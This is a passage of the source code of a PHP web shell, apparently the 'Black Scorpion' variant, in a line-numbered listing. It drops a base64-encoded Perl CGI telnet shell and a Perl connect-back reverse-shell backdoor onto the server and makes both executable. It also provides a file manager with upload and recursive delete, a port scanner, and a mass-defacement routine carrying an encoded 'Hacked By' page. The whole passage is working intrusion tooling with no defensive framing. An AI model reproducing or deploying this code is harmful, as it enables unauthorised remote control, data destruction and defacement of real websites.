  1309. ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
  1310. JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
  1311. ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
  1312. PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
  1313. Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
  1314. CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
  1315. dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
  1316. Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1317. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
  1318. IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1319. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
  1320. CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
  1321. SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
  1322. c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
  1323. ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
  1324. Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
  1325. ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
  1326. bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
  1327. cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
  1328. ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
  1329. b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
  1330. b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
  1331. dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
  1332. ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
  1333. bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
  1334. bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
  1335. b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
  1336. $file = fopen("izo.cin", "w+");
  1337. $write = fwrite($file, base64_decode($cgishellizocin));
  1338. fclose($file);
  1339. chmod("izo.cin", 0755);
  1340. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  1341. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  1342. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  1343. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  1344. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  1345. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  1346. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  1347. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  1348. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  1349. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  1350. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  1351. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  1352. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  1353. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  1354. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  1355. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  1356. YXRhY2hlZFxuXG4iOw==';
  1357. $file = fopen("dc.pl", "w+");
  1358. $write = fwrite($file, base64_decode($netcatshell));
  1359. fclose($file);
  1360. chmod("dc.pl", 0755);
  1361. echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
  1362. echo '</div>';
  1363. printFooter();
  1364. }
  1365.  
  1366.  
  1367. function actioncleanshell()
  1368. {
  1369.  
  1370. $self= $_SERVER["PHP_SELF"]; // Where am i
  1371. header("location:$self?mini_shell");
  1372. }
  1373. function actioncpcrack()
  1374. {
  1375.  
  1376. $self= $_SERVER["PHP_SELF"]; // Where am i
  1377. header("location:$self?cp");
  1378. }
  1379.  
  1380. function actionFilesMan() {
  1381. printHeader();
  1382. echo '<h1>File manager</h1><div class=content>';
  1383. if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  1384. switch($_POST['p1']) {
  1385. case 'uploadFile':
  1386. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  1387. echo "Can't upload file!";
  1388. break;
  1389. break;
  1390. case 'mkdir':
  1391. if(!@mkdir($_POST['p2']))
  1392. echo "Can't create new dir";
  1393. break;
  1394. case 'delete':
  1395. function deleteDir($path) {
  1396. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  1397. $dh = opendir($path);
  1398. while ( ($item = readdir($dh) ) !== false) {
  1399. $item = $path.$item;
  1400. if ( (basename($item) == "..") || (basename($item) == ".") )
  1401. continue;
  1402. $type = filetype($item);
  1403. if ($type == "dir")
  1404. deleteDir($item);
  1405. else
  1406. @unlink($item);
  1407. }
  1408. closedir($dh);
  1409. rmdir($path);
  1410. }
  1411. if(is_array(@$_POST['f']))
  1412. foreach($_POST['f'] as $f) {
  1413. $f = urldecode($f);
  1414. if(is_dir($f))
  1415. deleteDir($f);
  1416. else
  1417. @unlink($f);
  1418. }
  1419. break;
  1420.  
  1421.  
  1422.  
  1423.  
  1424. case 'paste':
  1425. if($_SESSION['act'] == 'copy') {
  1426. function copy_paste($c,$s,$d){
  1427. if(is_dir($c.$s)){
  1428. mkdir($d.$s);
  1429. $h = opendir($c.$s);
  1430. while (($f = readdir($h)) !== false)
  1431. if (($f != ".") and ($f != "..")) {
  1432. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1433. }
  1434. } elseif(is_file($c.$s)) {
  1435. @copy($c.$s, $d.$s);
  1436. }
  1437. }
  1438. foreach($_SESSION['f'] as $f)
  1439. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  1440. } elseif($_SESSION['act'] == 'move') {
  1441. function move_paste($c,$s,$d){
  1442. if(is_dir($c.$s)){
  1443. mkdir($d.$s);
  1444. $h = opendir($c.$s);
  1445. while (($f = readdir($h)) !== false)
  1446. if (($f != ".") and ($f != "..")) {
  1447. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1448. }
  1449. } elseif(is_file($c.$s)) {
  1450. @copy($c.$s, $d.$s);
  1451. }
  1452. }
  1453. foreach($_SESSION['f'] as $f)
  1454. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  1455. }
  1456. unset($_SESSION['f']);
  1457. break;
  1458. default:
  1459. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  1460. $_SESSION['act'] = @$_POST['p1'];
  1461. $_SESSION['f'] = @$_POST['f'];
  1462. foreach($_SESSION['f'] as $k => $f)
  1463. $_SESSION['f'][$k] = urldecode($f);
  1464. $_SESSION['cwd'] = @$_POST['c'];
  1465. }
  1466. break;
  1467. }
  1468. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  1469. }
  1470.  
  1471. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1472. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  1473. global $sort;
  1474. $sort = array('name', 1);
  1475. if(!empty($_POST['p1'])) {
  1476. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1477. $sort = array($match[1], (int)$match[2]);
  1478. }
  1479. echo '<script>
  1480. function sa() {
  1481. for(i=0;i<document.files.elements.length;i++)
  1482. if(document.files.elements[i].type == \'checkbox\')
  1483. document.files.elements[i].checked = document.files.elements[0].checked;
  1484. }
  1485. </script>
  1486. <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  1487. <form name=files method=post>';
  1488. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1489. $dirs = $files = $links = array();
  1490. $n = count($dirContent);
  1491. for($i=0;$i<$n;$i++) {
  1492. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1493. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1494. $tmp = array('name' => $dirContent[$i],
  1495. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  1496. 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  1497. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  1498. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1499. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1500. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1501. );
  1502. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  1503. $files[] = array_merge($tmp, array('type' => 'file'));
  1504. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  1505. $links[] = array_merge($tmp, array('type' => 'link'));
  1506. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  1507. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1508. }
  1509. $GLOBALS['sort'] = $sort;
  1510. function cmp($a, $b) {
  1511. if($GLOBALS['sort'][0] != 'size')
  1512. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  1513. else
  1514. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1515. }
  1516. usort($files, "cmp");
  1517. usort($dirs, "cmp");
  1518. usort($links, "cmp");
  1519. $files = array_merge($dirs, $links, $files);
  1520. $l = 0;
  1521. foreach($files as $f) {
  1522. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1523. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1524. $l = $l?0:1;
  1525. }
  1526. echo '<tr><td colspan=5>
  1527. <input type=hidden name=a value=\'FilesMan\'>
  1528. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1529. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1530. <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  1531. if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  1532. echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="Black_Scorp.html" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Submit"></td></tr>
  1533. </form></table></div>';
  1534. printFooter();
  1535. }
  1536.  
  1537.  
  1538. function actionPortScanner() {
  1539. printHeader();
  1540. echo '<center><h1>Port Scanner</h1></center>';
  1541. echo '<div class="content">';
  1542. echo '<form action="" method="post">';
  1543.  
  1544. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1545. $start = strip_tags($_POST['start']);
  1546. $end = strip_tags($_POST['end']);
  1547. $host = strip_tags($_POST['host']);
  1548. for($i = $start; $i<=$end; $i++){
  1549. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1550. if($fp){
  1551. echo 'Port '.$i.' is <font color=aqua>open</font><br>';
  1552. }
  1553. flush();
  1554. }
  1555. } else {
  1556. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  1557. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1558. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1559. Host: <input type="text" name="host" value="localhost"/><br /><br />
  1560. Port start: <input type="text" name="start" value="0"/><br /><br />
  1561. Port end:<input type="text" name="end" value="5000"/><br /><br />
  1562. <input type="submit" value="Scan Ports" />
  1563. </form></center><br /><br />';
  1564. }
  1565. echo '</div>';
  1566. printFooter();
  1567. }
  1568.  
  1569.  
  1570. function actionDirDefacer() {
  1571. printHeader();
  1572. $dirdeface = "IDwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQoJPGhlYWQ+DQoJCTx0aXRsZT5NYXNzIERlZmFjZSBBbGwgRGlyZWN0b3JpZXMgLSBCbGFjayBTY29ycDwvdGl0bGU+DQoJCTxtZXRhIGNoYXJzZXQ9IlVURi04IiAvPg0KCQk8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iSGFja2VkIEJ5IFByb0JybydzIiAvPg0KCQk8bWV0YSBuYW1lPSJsb2NhdGlvbiIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPg0KCQk8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxODAwIj48IS0tIEZvciBSZWZyZXNoaW5nIFBhZ2UgQWZ0ZXIgMzYwMCBJbnRlcnZhbHMgb2YgdGltZSAtLT4NCgkJPG1ldGEgbmFtZT0id29ya2luZyIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPg0KCQk8bWV0YSBuYW1lPSJhYm91dCIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPg0KICAgICAgICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkJsYWNrIFNjb3JwaW9uLCBVbWFyIEFyZmVlbiBTaGFoIiAvPg0KICAgICAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iSGFja2VkLEJ5LEFuMG4sM3hQbG9pVGVSLEhhY2tlZCBCeSBCbGFjayBTY29ycGlvbixCbGFjayBTY29ycGlvbiIgLz4NCgkJPG1ldGEgbmFtZT0icmV2aXNpdC1hZnRlciIgY29udGVudD0iMTgwMCIgLz4NCgkJPG1ldGEgbmFtZT0ibGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuIiAvPg0KCQk8bWV0YSBjb250ZW50PSdnZW5lcmFsJyBuYW1lPSdyYXRpbmcnIC8+DQoJCTxtZXRhIGNvbnRlbnQ9J2dvb2dsZScgbmFtZT0nZ2VuZXJhdG9yJyAvPg0KCQk8bWV0YSBjb250ZW50PSdmb2xsb3csYWxsJyBuYW1lPSdtc25ib3QnIC8+DQoJCTxtZXRhIGNvbnRlbnQ9J2ZvbGxvdyxhbGwnIG5hbWU9J2FsZXhhYm90JyAvPg0KCQk8bWV0YSBjb250ZW50PSdwYWtpc3RhbicgbmFtZT0nZ2VvLnBsYWNlbmFtZScgLz4NCgkJPG1ldGEgY29udGVudD0iaW5kZXgsZm9sbG93LGFsbCIgbmFtZT0iZ29vZ2xlYm90IiAvPg0KCQk8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFLWVkZ2UiIC8+DQoJCTxsaW5rIHJlbD0iU0hPUlRDVVQgSUNPTiIgaHJlZj0iaHR0cDovL2kuaW1ndXIuY29tL0l4M2xoV20uanBnIiAvPg0KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+DQoJCTxtZXRhIG5hbWU9J3NlYXJjaCBlbmdpbmVzJyBjb250ZW50PSdBZWl3aSxBbGV4YSxBbGxUaGVXZWIsQWx0YVZpc3RhLEFPTE5ldGZpbmQsQW56d2VycyxDYW5hZGEsRGlyZWN0SGl0LEV1cm9TZWVrLEV4Y2l0ZSxPdmVydHVyZSxHbyxHb29nbGUsSG90Qm90IEluZm9NYWssS2Fub29kbGUsTHljb3MsTWFjaGluZVNpdGUsTmF0aW9uYWwgRGlyZWN0b3J5LE5vcnRoZXJuIExpZ2h0LFNlYXJjaEl0LFNpbXBsZVNlYXJjaCxXZWJzTW9zdExpbmtlZCxXZWJUb3AsV2hhdC1VLVNlZWssQU9MLFlhaG9vLFdlYkNyYXdsZXIsSW5mb3NlZWssRXhjaXRlLE1hZ2VsbGFuLExvb2tTbWFydCxiaW5nLENORVQsR29vZ2xlYm90JyAvPg0KCQk8c3R5bGU+DQoJCQlib2R5IHsNCgkJCWJhY2tncm91bmQtY29sb3I6ICMwODA1MTA7DQoJCQlTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgDQoJCQlTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyANCgkJCVNDUk9MTEJBUi1TSEFET1ctQ09MT1I6ICMwMDAwMDA7IA0KCQkJU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMwMDAwMDA7DQoJCQljb2xvcjogd2hpdGU7DQoJCQl9DQoJCQlvcHRpb24gew0KCQkJCWNvbG9yOiB3aGl0ZTsNCgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IA0KCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOw0KCQkJCWJvcmRlci1sZWZ0OiBibGFjazsNCgkJCQlib3JkZXItcmlnaHQ6IGJsYWNrOw0KCQkJCWJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9DQoJCQlzZWxlY3Qgew0KCQkJCWNvbG9yOiB3aGl0ZTsNCgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IA0KCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOw0KCQkJCWJvcmRlci1sZWZ0OiBibGFjazsNCgkJCQlib3JkZXItcmlnaHQ6IGJsYWNrOw0KCQkJCWJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9DQoJCQlpbnB1dCB7DQoNCgkJCQljb2xvcjogd2hpdGU7DQoJCQkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQkJCWZvbnQtd2VpZ2h0OiBib2xkOyANCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsNCgkJCQlib3JkZXItbGVmdDogYmxhY2s7DQoJCQkJYm9yZGVyLXJpZ2h0OiBibGFjazsNCgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsNCgkJCQliYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgDQoJCQl9DQoJCQl0ZXh0YXJlYSB7DQoJCQkJY29sb3I6IHdoaXRlOw0KCQkJCWZvbnQtd2VpZ2h0OiBib2xkOyANCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsNCgkJCQlib3JkZXItbGVmdDogYmxhY2s7DQoJCQkJYm9yZGVyLXJpZ2h0OiBibGFjazsNCgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsNCgkJCQliYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgDQoJCQkJZm9udC1zaXplOiA4MCU7DQoJCQl9DQoJCQkuZGVmYWNlX3BhZ2V7DQoJCQkJY29sb3I6IHJlZDsNCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsNCgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJCQkJZm9udC1zaXplOiAzMDAlOw0KCQkJfQ0KCQk8L3N0eWxlPg0KCTwvaGVhZD4NCgk8Ym9keT4NCgk8ZGl2IGNsYXNzPSJkZWZhY2VfcGFnZSI+DQoJCTxmb250Pk1hc3MgRGVmYWNlIEFsbCBEaXIgQnkgQmxhY2sgU2NvcnBpb248L2ZvbnQ+DQoJPC9kaXY+DQoJCTw/cGhwIA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+XG4iOw0KCWVjaG8gJGRpcnI9JF9QT1NUWydkX2RpciddOw0KCSRpbmRleCA9ICRfUE9TVFsic2NyaXB0Il07DQoJJGluZGV4ID0gc3RyX3JlcGxhY2UoJyInLCInIiwkaW5kZXgpOw0KCSRpbmRleCA9IHN0cmlwc2xhc2hlcygkaW5kZXgpOw0KCWZ1bmN0aW9uIHNhYnVuX21hc3NhbCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgew0KCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgew0KCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCSRsb2thc2kgPSAkZGlyLicvJy4kZGlyYi4nLycuJG5hbWFmaWxlOw0KCQkJCSRwYXRoID0gZ2V0Y3dkKCkuIi8iOw0KCQkJCSRzaXRlID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicvJzsNCgkJCQkkcmV2ID0gc3RyX3JlcGxhY2UoJHBhdGgsICRzaXRlLCAkbG9rYXNpKTsNCgkJCQlpZigkZGlyYiA9PT0gJy4nKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnY2dpX2JpbicpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdBa0RrJykgew0KCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3N5bWxpbmsnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc3ltbGlua2luZycpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICd0cmpueCcpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdzeW1saW5rZWQnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnLmh0YWNjZXNzJykgew0KCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ2dyZWVub3gnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAneWFzc2lub3gnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc21ldmsnKSB7DQoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc21ldmtfY29uZmlncycpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdTbWV2aycpIHsNCgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdTbWV2a19Db25maWdzJykgew0KCQkJCX0gICAgICBlbHNlIHsNCgkJCQkJaWYoaXNfZGlyKCRkaXJjKSkgew0KCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7DQoJCQkJCQkJZWNobyAiPGZvbnQgc3R5bGU9J2NvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMTIwJTsnPiIuJHJldi4iPGJyPjwvZm9udD4iOw0KCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQkJCQkkaWR4ID0gc2FidW5fbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9IA0KCWlmKCRfUE9TVFsnbWFzcyddID09ICdvbmVkaXInKSB7DQoJCWVjaG8gIjxicj4gVmVyc2kgVGV4dCBBcmVhPGJyPjx0ZXh0YXJlYSBzdHlsZT0nYmFja2dyb3VuZDpibGFjaztvdXRsaW5lOm5vbmU7Y29sb3I6cmVkOycgbmFtZT0naW5kZXgnIHJvd3M9JzEwJyBjb2xzPSc2Nyc+XG4iOw0KCQkkaW5pPSJodHRwOi8vIjsNCgkJJG1haW5wYXRoPSRfUE9TVFtkX2Rpcl07DQoJCSRmaWxlPSRfUE9TVFtkX2ZpbGVdOw0KCQkkZGlyPW9wZW5kaXIoIiRtYWlucGF0aCIpOw0KCQkkY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtzY3JpcHRdKTsNCgkJJGluZHg9YmFzZTY0X2RlY29kZSgkY29kZSk7DQoJCXdoaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7DQoJCSRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOw0KCQkkZmluaXNoPUBmd3JpdGUoJHN0YXJ0LCRpbmR4KTsNCgkJaWYgKCRmaW5pc2gpew0KCQkJZWNobyIkaW5pJHJvdy8kZmlsZVxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RleHRhcmVhPjxicj48YnI+PGJyPjxiPlZlcnNpIFRleHQ8L2I+PGJyPjxicj48YnI+XG4iOw0KCQkkbWFpbnBhdGg9JF9QT1NUW2RfZGlyXTskZmlsZT0kX1BPU1RbZF9maWxlXTsNCgkJJGRpcj1vcGVuZGlyKCIk